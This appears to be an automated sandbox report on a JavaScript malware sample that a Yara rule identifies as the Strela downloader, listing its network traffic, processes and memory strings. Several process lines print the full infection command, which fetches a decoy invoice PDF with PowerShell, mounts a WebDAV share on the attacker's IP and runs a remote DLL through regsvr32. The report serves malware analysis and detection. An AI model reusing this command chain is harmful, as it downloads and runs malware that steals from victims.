Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

TCP traffic: 192.168.2.6:49712 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:52167 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2146643159.000001E9E53E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2202488754.000001F761BAD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2204920473.000001F761B8C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2204782897.000001F761B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2205192437.000001F761BAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2202711695.000001F761B8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2204782897.000001F761B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s643
Source: svchost.exe, 00000009.00000002.3441964310.0000015B73A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2208017565.0000015B73890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2096, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 395621741190315695.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3660:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwe5mnbd.a0a.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1540,i,15150197900072560252,3484800557288220379,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1540,i,15150197900072560252,3484800557288220379,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
